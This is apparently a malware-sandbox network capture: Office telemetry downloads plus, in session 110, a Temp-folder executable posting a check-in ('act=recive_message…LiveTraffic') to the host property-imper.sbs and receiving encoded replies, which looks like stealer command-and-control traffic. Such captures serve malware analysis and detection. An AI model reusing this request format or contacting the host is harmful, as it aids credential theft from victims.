2024-11-23 10:22:43 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nvndc4rj1vfopb4oqekhkabinp; expires=Wed, 19-Mar-2025 04:09:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=30knt5dln5wUCz9tUP%2FbsHLzHkWtsw9FoWlX5NOLXLSCGLmW0A2JVzZ%2F%2B0L%2BNIH%2FM5uVyuzLMIZgbznMsfk7TiClTbxwnm3PcJyDQCs4DzF0Clxt7FsUcM9Z26HRDenRIzXResI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7070925a6d7c9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1809&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1577525&cwnd=163&unsent_bytes=0&cid=214b5104b63cb338&ts=703&x=0"
2024-11-23 10:22:43 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 10:22:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:43 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:44 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 3272c5ec-601e-003d-7d76-3b6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102244Z-174c587ffdfx984chC1TEB676g00000002u0000000007dec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:44 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:44 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:44 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:44 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: dcdca57e-b01e-003e-0dcb-3b8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102244Z-15b8b599d88wn9hhhC1TEBry0g00000002wg0000000054ve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 10:22:44 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:44 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:44 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:44 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: d8182971-801e-0067-2581-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102244Z-174c587ffdfcj798hC1TEB9bq400000002wg00000000dwqk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:44 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:44 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:44 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 335cca48-001e-0079-7644-3d12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102244Z-174c587ffdf8lw6dhC1TEBkgs800000002tg00000000963q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:44 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:44 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:44 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: bac6914c-b01e-0002-4559-3c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102244Z-15b8b599d88wk8w4hC1TEB14b800000002w0000000004n8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:45 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49856	172.67.162.84	443	5272	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:45 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 10:22:45 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 10:22:46 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gdcop4kssmj703cdfka7f5c42q; expires=Wed, 19-Mar-2025 04:09:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RMnss9W6zyc%2FhiYzoMeUXnRtFsyNUszQvDBruNZsjrTxUR6LJ%2F2xQzoAR1HBSjSd6QMl5mnI4dVDIdCzdLq0Q5lEuc%2FCtm2HBEJl5sCGcKw2ta4GJIkiJ%2BWlERbMzRmHQIEis3s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e70709fd83943ec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1733&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1613259&cwnd=226&unsent_bytes=0&cid=5de5881dc78f3e53&ts=710&x=0"
2024-11-23 10:22:46 UTC	354	IN	Data Raw: 31 64 37 62 0d 0a 45 73 41 75 59 66 75 43 38 79 76 36 4d 53 6f 38 51 5a 37 6a 39 51 32 64 6d 31 57 77 56 68 55 50 69 74 6d 6f 50 47 32 55 56 59 52 70 34 6c 68 44 77 62 62 66 43 59 6c 55 43 41 59 31 37 4a 61 51 49 62 2f 36 4d 5a 4a 73 63 32 37 6d 71 73 30 51 54 2b 49 34 70 69 69 6d 54 77 32 49 35 39 38 4a 6e 30 6b 49 42 68 72 6c 77 5a 42 6a 76 36 46 33 31 54 78 33 62 75 61 37 79 56 63 43 35 44 6e 6e 65 71 78 4a 43 5a 37 68 6c 30 71 57 58 45 39 5a 4a 50 2b 4a 6d 32 54 77 38 7a 69 53 65 6a 64 71 38 50 75 53 48 69 44 78 49 65 56 66 6f 56 30 4b 32 66 2f 66 55 4e 68 55 52 42 35 37 76 49 4b 51 62 2f 48 39 4d 64 73 2b 66 57 66 75 75 73 78 57 48 66 30 7a 37 48 71 69 53 67 69 55 36 49 4e 48 6e 46 74 45 58 79 37 2f 77 64 6b 76 2b 4f 46 33 69 6e 51 6b 58 2b 75 71 32 Data Ascii: 1d7bEsAuYfuC8yv6MSo8QZ7j9Q2dm1WwVhUPitmoPG2UVYRp4lhDwbbfCYlUCAY17JaQIb/6MZJsc27mqs0QT+I4piimTw2I598Jn0kIBhrlwZBjv6F31Tx3bua7yVcC5DnneqxJCZ7hl0qWXE9ZJP+Jm2Tw8ziSejdq8PuSHiDxIeVfoV0K2f/fUNhURB57vIKQb/H9Mds+fWfuusxWHf0z7HqiSgiU6INHnFtEXy7/wdkv+OF3inQkX+uq2
2024-11-23 10:22:46 UTC	1369	IN	Data Raw: 37 5a 46 62 6b 46 68 44 57 7a 48 33 69 4a 70 69 2f 2f 51 39 33 54 64 33 61 75 4b 78 78 56 51 4c 2b 7a 72 67 63 4b 49 4d 54 64 6e 6e 69 51 6e 41 45 32 74 62 4d 2f 75 4e 67 53 33 46 75 53 69 63 4c 54 64 71 35 50 75 53 48 67 66 7a 4e 4f 56 37 72 55 38 4c 6b 76 4b 52 57 35 35 65 54 55 77 6c 2b 59 2b 64 62 4f 33 7a 4f 64 51 33 66 6d 62 68 76 73 31 61 54 37 68 33 34 57 6a 69 46 45 4f 34 37 5a 70 46 6b 6b 52 49 48 6a 79 79 6d 4e 64 6f 38 37 6c 76 6b 6a 42 32 61 65 6d 2f 78 46 41 4c 2b 6a 48 6f 66 61 31 4b 43 5a 6e 6e 6d 30 47 51 55 6b 56 56 4c 50 79 45 6d 6d 76 35 39 54 62 58 64 44 6b 74 37 36 4f 4b 42 6b 2f 59 4d 4f 56 69 34 48 6b 41 6c 2b 36 57 58 39 68 4d 42 6b 64 6a 2b 34 33 58 4e 37 2f 33 4d 74 30 6d 64 6e 2f 74 74 64 68 53 43 76 41 36 35 58 36 69 53 51 53 Data Ascii: 7ZFbkFhDWzH3iJpi//Q93Td3auKxxVQL+zrgcKIMTdnniQnAE2tbM/uNgS3FuSicLTdq5PuSHgfzNOV7rU8LkvKRW55eTUwl+Y+dbO3zOdQ3fmbhvs1aT7h34WjiFEO47ZpFkkRIHjyymNdo87lvkjB2aem/xFAL+jHofa1KCZnnm0GQUkVVLPyEmmv59TbXdDkt76OKBk/YMOVi4HkAl+6WX9hMBkdj+43XN7/3Mt0mdn/ttdhSCvA65X6iSQS
2024-11-23 10:22:46 UTC	1369	IN	Data Raw: 39 68 4d 42 6b 64 6a 2b 34 33 58 4e 37 2f 31 50 74 49 2f 66 57 6e 6f 76 4d 64 62 44 50 45 30 36 33 65 6f 51 67 53 64 37 4a 68 45 6e 6c 4e 50 57 69 62 75 68 4a 35 6a 38 37 6c 35 6b 6a 4e 76 4c 62 44 37 35 56 6b 5a 39 52 6a 6c 59 61 73 4d 48 4e 66 35 30 55 36 55 45 78 41 65 4a 50 6d 4a 6e 47 6e 33 2b 53 58 58 4f 6e 78 73 34 72 33 4c 55 77 50 77 4e 2b 64 77 70 45 41 44 6e 75 65 44 57 35 31 56 57 6c 52 6a 73 73 47 51 64 37 2b 68 64 2b 51 6b 59 48 7a 2b 2b 66 39 64 41 66 67 77 38 44 43 39 41 68 72 5a 35 35 30 4a 77 42 4e 44 58 69 2f 37 69 5a 46 72 39 2f 59 34 32 79 5a 32 59 65 61 70 7a 56 34 47 2b 44 6a 71 65 61 39 4c 44 70 4c 71 6e 45 32 66 55 67 67 51 59 2f 75 5a 31 7a 65 2f 7a 79 66 66 4f 46 6c 6d 35 4c 4b 4b 51 55 48 76 64 2b 46 38 34 68 52 44 6e 65 79 5a Data Ascii: 9hMBkdj+43XN7/1PtI/fWnovMdbDPE063eoQgSd7JhEnlNPWibuhJ5j87l5kjNvLbD75VkZ9RjlYasMHNf50U6UExAeJPmJnGn3+SXXOnxs4r3LUwPwN+dwpEADnueDW51VWlRjssGQd7+hd+QkYHz++f9dAfgw8DC9AhrZ550JwBNDXi/7iZFr9/Y42yZ2YeapzV4G+Djqea9LDpLqnE2fUggQY/uZ1ze/zyffOFlm5LKKQUHvd+F84hRDneyZ
2024-11-23 10:22:46 UTC	1369	IN	Data Raw: 31 62 4a 2f 75 46 6b 57 43 2f 74 33 66 56 4c 44 63 31 71 4a 54 74 61 30 33 58 44 61 5a 76 37 46 56 44 6e 75 7a 52 45 64 68 66 53 31 49 72 38 34 65 65 59 2f 58 77 50 4e 34 2f 63 32 48 68 76 73 78 66 43 76 4d 32 34 6e 79 6f 53 67 43 61 37 35 35 47 6b 42 4d 47 48 69 54 6b 77 63 38 76 32 75 34 38 33 44 49 33 63 71 61 69 69 6c 6b 44 74 6d 2b 6d 66 4b 74 4b 42 5a 7a 73 6b 45 2b 51 56 6b 42 61 49 76 71 48 6c 47 44 37 2f 44 62 64 4d 48 74 6a 34 72 72 4c 55 67 54 35 50 4f 4d 77 37 41 77 45 67 61 44 4a 43 61 6c 51 58 6b 6b 7a 38 4d 47 49 49 65 61 35 4d 4e 35 30 4c 79 33 70 71 63 42 55 41 66 4d 34 34 33 4f 74 53 77 36 66 37 4a 74 41 6b 46 56 48 56 7a 48 2f 6a 5a 6c 6f 38 66 55 35 33 7a 35 30 59 4b 6a 31 69 6c 6b 58 74 6d 2b 6d 58 4b 56 42 4c 5a 4c 73 6c 67 6d 48 48 Data Ascii: 1bJ/uFkWC/t3fVLDc1qJTta03XDaZv7FVDnuzREdhfS1Ir84eeY/XwPN4/c2HhvsxfCvM24nyoSgCa755GkBMGHiTkwc8v2u483DI3cqaiilkDtm+mfKtKBZzskE+QVkBaIvqHlGD7/DbdMHtj4rrLUgT5POMw7AwEgaDJCalQXkkz8MGIIea5MN50Ly3pqcBUAfM443OtSw6f7JtAkFVHVzH/jZlo8fU53z50YKj1ilkXtm+mXKVBLZLslgmHH
2024-11-23 10:22:46 UTC	1369	IN	Data Raw: 38 68 6f 38 76 70 37 6b 42 31 53 52 6e 62 71 71 4b 33 46 30 5a 2f 54 72 71 4d 4c 30 43 47 74 6e 6e 6e 51 6e 41 45 30 35 52 4b 76 2b 4f 6c 6d 62 7a 39 44 4c 62 4d 58 5a 72 37 4c 48 41 58 67 6e 77 4e 75 4e 36 6f 55 30 4a 6b 4f 65 5a 54 70 74 42 43 42 42 6a 2b 35 6e 58 4e 37 2f 51 4d 4d 41 36 5a 79 33 33 39 64 4d 65 43 50 70 33 76 6a 43 6d 52 67 79 64 35 35 31 50 6e 56 56 46 58 79 7a 39 67 5a 68 72 39 50 41 78 30 7a 6c 79 59 4f 79 70 77 46 55 41 2b 6a 37 71 66 65 49 43 51 35 37 34 30 52 48 59 59 6b 56 51 4c 66 75 58 31 33 43 78 34 48 66 56 4f 44 63 31 71 4c 72 47 55 51 7a 35 4e 4f 56 78 71 46 34 52 6c 65 6d 5a 54 4a 52 59 52 6c 67 78 2b 6f 36 65 62 50 7a 77 4d 4e 6f 34 66 57 37 76 2b 34 51 65 43 4f 35 33 76 6a 43 42 57 78 4f 55 6f 49 34 48 67 52 4e 50 55 6d Data Ascii: 8ho8vp7kB1SRnbqqK3F0Z/TrqML0CGtnnnQnAE05RKv+Olmbz9DLbMXZr7LHAXgnwNuN6oU0JkOeZTptBCBBj+5nXN7/QMMA6Zy339dMeCPp3vjCmRgyd551PnVVFXyz9gZhr9PAx0zlyYOypwFUA+j7qfeICQ5740RHYYkVQLfuX13Cx4HfVODc1qLrGUQz5NOVxqF4RlemZTJRYRlgx+o6ebPzwMNo4fW7v+4QeCO53vjCBWxOUoI4HgRNPUm
2024-11-23 10:22:46 UTC	1369	IN	Data Raw: 66 66 72 2f 4f 4e 30 39 66 6d 6e 67 75 4d 70 61 43 2f 45 79 35 58 79 70 53 77 43 57 35 4a 68 48 6b 56 77 49 45 47 50 37 6d 64 63 33 76 39 67 73 30 54 68 36 4c 66 66 31 30 78 34 49 2b 6e 65 2b 4d 4b 35 43 42 70 6e 71 6c 30 32 64 56 55 4a 62 49 2f 65 43 6d 47 76 35 2f 54 6a 53 50 33 35 73 37 72 37 41 56 51 6e 37 4e 4f 42 32 34 67 4a 44 6e 76 6a 52 45 64 68 7a 55 31 4d 76 2b 38 47 49 49 65 61 35 4d 4e 35 30 4c 79 33 6a 74 38 35 5a 44 2f 73 30 37 6e 57 6d 52 67 61 5a 36 49 4e 42 6d 46 52 61 54 43 50 31 68 4a 74 73 2f 2f 30 78 32 7a 4a 30 61 61 6a 31 69 6c 6b 58 74 6d 2b 6d 58 61 35 4c 4b 70 37 37 30 56 62 57 53 67 68 5a 4c 37 7a 5a 31 32 37 30 38 7a 6a 66 4e 33 46 75 34 37 37 41 58 77 6a 2b 4f 76 52 7a 72 55 4d 48 6d 65 2b 58 54 35 6c 63 54 6c 6b 71 2f 59 6d Data Ascii: ffr/ON09fmnguMpaC/Ey5XypSwCW5JhHkVwIEGP7mdc3v9gs0Th6Lff10x4I+ne+MK5CBpnql02dVUJbI/eCmGv5/TjSP35s7r7AVQn7NOB24gJDnvjREdhzU1Mv+8GIIea5MN50Ly3jt85ZD/s07nWmRgaZ6INBmFRaTCP1hJts//0x2zJ0aaj1ilkXtm+mXa5LKp770VbWSghZL7zZ12708zjfN3Fu477AXwj+OvRzrUMHme+XT5lcTlkq/Ym
2024-11-23 10:22:46 UTC	356	IN	Data Raw: 77 6e 31 49 6e 31 71 2b 4c 7a 64 55 55 2b 34 64 2b 6b 77 2b 6e 56 44 6b 4f 65 4b 57 49 35 65 57 46 6c 6a 77 38 2f 58 64 37 2b 68 64 2b 63 33 65 57 50 76 72 64 73 54 4b 4f 41 39 34 57 43 6c 57 77 7a 5a 72 74 46 50 32 41 73 62 45 47 50 34 6b 4e 63 33 72 36 74 73 68 32 63 67 50 62 71 6b 68 45 64 50 34 48 65 2b 49 75 77 4d 45 64 6d 34 30 51 36 62 51 56 70 59 49 4f 71 43 30 46 48 42 33 69 33 66 4d 6d 42 38 31 6f 58 4e 52 41 4c 77 49 50 63 38 74 30 38 4e 6c 2b 65 48 43 64 59 54 52 78 35 37 78 63 48 66 4c 38 43 33 64 38 70 30 4c 79 33 64 75 4d 52 51 43 4f 41 6d 71 31 65 34 51 51 57 4f 38 64 45 48 32 46 55 49 42 6e 4f 79 77 5a 4e 2b 76 36 46 6e 67 47 38 69 50 72 2f 72 6d 45 46 42 37 33 66 77 4d 50 6f 65 54 64 6e 79 30 52 48 59 46 45 74 4d 4d 66 71 43 67 57 79 34 Data Ascii: wn1In1q+LzdUU+4d+kw+nVDkOeKWI5eWFljw8/Xd7+hd+c3eWPvrdsTKOA94WClWwzZrtFP2AsbEGP4kNc3r6tsh2cgPbqkhEdP4He+IuwMEdm40Q6bQVpYIOqC0FHB3i3fMmB81oXNRALwIPc8t08Nl+eHCdYTRx57xcHfL8C3d8p0Ly3duMRQCOAmq1e4QQWO8dEH2FUIBnOywZN+v6FngG8iPr/rmEFB73fwMPoeTdny0RHYFEtMMfqCgWy4
2024-11-23 10:22:46 UTC	1369	IN	Data Raw: 32 36 66 31 0d 0a 5a 74 6d 2b 30 50 75 4a 65 51 38 47 67 31 6b 71 4b 51 55 35 64 4e 66 2f 47 71 56 48 38 37 7a 72 64 50 33 5a 54 31 70 58 48 58 77 7a 34 64 64 64 6d 72 31 77 41 6e 4f 65 76 64 35 5a 55 58 46 6b 74 2b 6f 48 58 49 62 2f 32 64 34 6f 4e 4e 79 57 6f 68 49 51 65 46 37 5a 76 70 6b 57 68 51 67 32 65 39 6f 41 45 75 30 56 46 55 53 6a 39 77 64 6b 76 2b 62 6c 76 67 6e 6f 33 61 66 6e 37 6b 67 35 64 72 57 4b 31 4a 2f 49 65 48 4e 66 35 30 56 2f 59 43 78 6f 51 59 2b 37 42 7a 79 2b 34 39 7a 72 54 4e 33 6c 75 2b 71 6e 4d 58 52 6e 31 63 4e 68 4f 67 30 45 49 6c 65 32 65 51 71 5a 74 61 56 4d 6f 38 49 79 59 5a 4d 48 48 49 74 45 36 65 57 72 2b 71 6f 6f 51 54 2f 6c 33 76 6b 6e 69 42 45 4f 6d 72 74 46 52 32 41 73 49 61 79 44 79 6a 35 42 35 37 72 51 57 33 7a 39 37 Data Ascii: 